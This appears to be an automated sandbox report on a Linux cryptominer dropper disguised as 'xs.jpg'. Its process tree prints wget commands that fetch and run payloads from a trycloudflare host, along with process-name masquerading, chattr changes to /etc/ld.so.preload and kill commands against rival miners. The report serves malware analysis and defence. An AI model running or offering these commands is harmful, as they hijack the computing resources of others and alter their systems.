Analysis
-
max time kernel
155s -
max time network
159s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20231215-en -
resource tags
-
submitted
22-01-2024 18:03
General
-
Target
xs.jpg
-
Size
5KB
-
MD5
30f950242f01e4e8503da91dbb2d5fdc
-
SHA1
cb9909bebcbc056e05e74b9c3c3b33a6a7a47659
-
SHA256
b1570e2b2c9d957d943fb37f266ec48a51bee9db0a39dcd15ceb884384f8f6a1
-
SHA512
229364a466b0a7cdb47a3061a36336c6426ebe06a747788967080a79ebf902b41a38f4870dbc5396afbdd8b75a42273f81ed131f133ffa3be68a3bf364e4a0d2
-
SSDEEP
96:uou4dH1Yl9iaV4GmNdCvasvagaevagvaGvaV1FtIxH7YmJE7N7MDMtBPXSEKydtu:ndVM9iazmNdCvXvDfvZvNvW1LIxH7Ym/
Score
10/10
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Modifies the dynamic linker configuration file 1 TTPs 1 IoCs
Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.
-
Executes dropped EXE 4 IoCs
-
Loads a kernel module 1 IoCs
Loads a Linux kernel module, potentially to achieve persistence
-
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
-
Attempts to change immutable files 14 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Reads CPU attributes 1 TTPs 58 IoCs
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Enumerates kernel/hardware configuration 1 TTPs 26 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/xs.jpg/tmp/xs.jpg1⤵
- Writes DNS configuration
-
/bin/chmodchmod +wr /tmp2⤵
-
-
/usr/bin/chattrchattr -ia /tmp2⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/ld.so.preload2⤵
- Attempts to change immutable files
-
-
/bin/catcat /dev/null2⤵
-
-
/usr/bin/wgetwget --no-check-certificate https://beaver-manage-strikes-beautiful.trycloudflare.com/netsocketx -O /tmp/.sock2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x /tmp/.sock2⤵
-
-
/bin/sleepsleep 12⤵
-
-
/usr/bin/idid -u2⤵
-
-
/usr/bin/nohupnohup bash -c "exec -a '[network-managerr]' /tmp/.sock [email protected] -password=random#123 -device-name=ubuntu1804-amd64-20231215-en-9 -accept-tos"2⤵
-
-
/usr/local/sbin/bashbash -c "exec -a '[network-managerr]' /tmp/.sock [email protected] -password=random#123 -device-name=ubuntu1804-amd64-20231215-en-9 -accept-tos"2⤵
-
-
/usr/local/bin/bashbash -c "exec -a '[network-managerr]' /tmp/.sock [email protected] -password=random#123 -device-name=ubuntu1804-amd64-20231215-en-9 -accept-tos"2⤵
-
-
/usr/sbin/bashbash -c "exec -a '[network-managerr]' /tmp/.sock [email protected] -password=random#123 -device-name=ubuntu1804-amd64-20231215-en-9 -accept-tos"2⤵
-
-
/usr/bin/bashbash -c "exec -a '[network-managerr]' /tmp/.sock [email protected] -password=random#123 -device-name=ubuntu1804-amd64-20231215-en-9 -accept-tos"2⤵
-
-
/sbin/bashbash -c "exec -a '[network-managerr]' /tmp/.sock [email protected] -password=random#123 -device-name=ubuntu1804-amd64-20231215-en-9 -accept-tos"2⤵
-
-
/bin/bashbash -c "exec -a '[network-managerr]' /tmp/.sock [email protected] -password=random#123 -device-name=ubuntu1804-amd64-20231215-en-9 -accept-tos"2⤵
-
-
/tmp/.sock"[network-managerr]" "[email protected]" "-password=random#123" "-device-name=ubuntu1804-amd64-20231215-en-9" -accept-tos2⤵
- Executes dropped EXE
- Enumerates kernel/hardware configuration
-
-
/bin/psps -ef2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep "\\[inet_frag_qw]"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
-
-
/bin/psps -ef2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep "\\[ipv6_addrconfd]"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
-
-
/bin/psps -ef2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep sysinit2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep "\\[watchdodg]"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep "\\[bdus-daemon]"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep "\\[slub_flushqw]"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep deamon-hoster2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
-
-
/usr/bin/idid -u2⤵
-
-
/usr/bin/chattrchattr -ia /usr/lib/procf2⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /usr/lib/procf2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/mkdirmkdir -p /usr/lib/procf2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/chmodchmod +w /usr/lib/procf2⤵
-
-
/usr/bin/chattrchattr -ia /usr/lib/procf2⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /usr/lib/procf2⤵
-
-
/bin/mkdirmkdir /usr/lib/procf2⤵
-
-
/usr/bin/wgetwget --no-check-certificate https://beaver-manage-strikes-beautiful.trycloudflare.com/x4 -O /usr/lib/procf/x2⤵
-
-
/bin/chmodchmod +x /usr/lib/procf/x2⤵
-
-
/usr/bin/wgetwget --no-check-certificate https://beaver-manage-strikes-beautiful.trycloudflare.com/kexec2 -O /usr/lib/procf/kexec2⤵
-
-
/bin/chmodchmod +x /usr/lib/procf/kexec2⤵
-
-
/usr/bin/wgetwget --no-check-certificate https://beaver-manage-strikes-beautiful.trycloudflare.com/kc -O /usr/lib/procf/deamon-hoster2⤵
-
-
/bin/chmodchmod +x /usr/lib/procf/deamon-hoster2⤵
-
-
/bin/chmodchmod +x /usr/lib/procf/deamon-hoster /usr/lib/procf/kexec /usr/lib/procf/x2⤵
-
-
/bin/sleepsleep 32⤵
-
-
/usr/bin/nohupnohup bash -c "exec -a '[ipv6_addrconfd]' /usr/lib/procf/x"2⤵
-
-
/usr/local/sbin/bashbash -c "exec -a '[ipv6_addrconfd]' /usr/lib/procf/x"2⤵
-
-
/usr/local/bin/bashbash -c "exec -a '[ipv6_addrconfd]' /usr/lib/procf/x"2⤵
-
-
/usr/sbin/bashbash -c "exec -a '[ipv6_addrconfd]' /usr/lib/procf/x"2⤵
-
-
/usr/bin/bashbash -c "exec -a '[ipv6_addrconfd]' /usr/lib/procf/x"2⤵
-
-
/sbin/bashbash -c "exec -a '[ipv6_addrconfd]' /usr/lib/procf/x"2⤵
-
-
/bin/bashbash -c "exec -a '[ipv6_addrconfd]' /usr/lib/procf/x"2⤵
-
-
/usr/lib/procf/x"[ipv6_addrconfd]"2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
-
/bin/shsh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"3⤵
-
/sbin/modprobe/sbin/modprobe msr "allow_writes=on"4⤵
- Loads a kernel module
- Enumerates kernel/hardware configuration
-
-
-
-
/usr/bin/nohupnohup bash -c "exec -a '[bdus-daemon]' /usr/lib/procf/kexec"2⤵
-
-
/bin/sleepsleep 32⤵
-
-
/usr/local/sbin/bashbash -c "exec -a '[bdus-daemon]' /usr/lib/procf/kexec"2⤵
-
-
/usr/local/bin/bashbash -c "exec -a '[bdus-daemon]' /usr/lib/procf/kexec"2⤵
-
-
/usr/sbin/bashbash -c "exec -a '[bdus-daemon]' /usr/lib/procf/kexec"2⤵
-
-
/usr/bin/bashbash -c "exec -a '[bdus-daemon]' /usr/lib/procf/kexec"2⤵
-
-
/sbin/bashbash -c "exec -a '[bdus-daemon]' /usr/lib/procf/kexec"2⤵
-
-
/bin/bashbash -c "exec -a '[bdus-daemon]' /usr/lib/procf/kexec"2⤵
-
-
/usr/lib/procf/kexec"[bdus-daemon]"2⤵
- Executes dropped EXE
- Enumerates kernel/hardware configuration
-
/bin/psps aux3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/usr/bin/nohupnohup /usr/lib/procf/deamon-hoster2⤵
-
-
/usr/lib/procf/deamon-hoster/usr/lib/procf/deamon-hoster2⤵
- Executes dropped EXE
-
/bin/sleepsleep 33⤵
-
-
/bin/psps aux3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -v grep3⤵
-
-
/bin/grepgrep miner3⤵
-
-
/usr/bin/awkawk "{print \$2}"3⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"3⤵
- Attempts to change immutable files
-
-
/bin/psps aux3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -v grep3⤵
-
-
/bin/grepgrep gitlabw3⤵
-
-
/usr/bin/awkawk "{print \$2}"3⤵
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"3⤵
- Attempts to change immutable files
-
-
/bin/psps aux3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -v grep3⤵
-
-
/bin/grepgrep xmp3⤵
-
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/chattrchattr -ia /usr/lib/procf/kexec2⤵
- Attempts to change immutable files
-
-
/bin/psps -ef1⤵
- Reads CPU attributes
- Reads runtime system information
-
/bin/grepgrep "\\[network-managerr]"1⤵
-
/bin/grepgrep -v grep1⤵
-
/usr/bin/wcwc -l1⤵
-
/bin/hostnamehostname1⤵
-
/bin/psps -ef1⤵
- Reads CPU attributes
- Reads runtime system information
-
/bin/grepgrep "\\[ipv6_addrconfd]"1⤵
-
/bin/grepgrep -v grep1⤵
-
/usr/bin/wcwc -l1⤵
-
/bin/psps aux1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD58eea56f798cb270e1d4ecc5e79d2d7f8
SHA14c028cc1afc3011da62e9ceee713799d72bb1115
SHA2564c95865dfc6b392259c3094d036888acd3cd414177b223ac035fcc7d37a3cacc
SHA512b8487e3b55d279c6ca5aaea742da40bd443da1fe2c69537bead71ca44cb558aa2fc6c3a675960a340271e3028d1df7dea3c9d977c72b3b5c87824108eec19a65
-
Filesize
3.2MB
MD5b7e3fc2c6ebe21db47cc7cbcd1402046
SHA186916a74791f400536a940e83b7a37b9bb810f63
SHA256a2e226486c0f14532374bd96f0c7ceb750a5aa5e352229df8c3c009e83b7703d
SHA5129e62dc8baa97d3be088359a61cf8ce420c67ab5d6224d19b1c82d3b26c65bcb60c666e0a1736efcb302dfe691ca42edc101ef1cb8890d45e6e181ed7cefec64e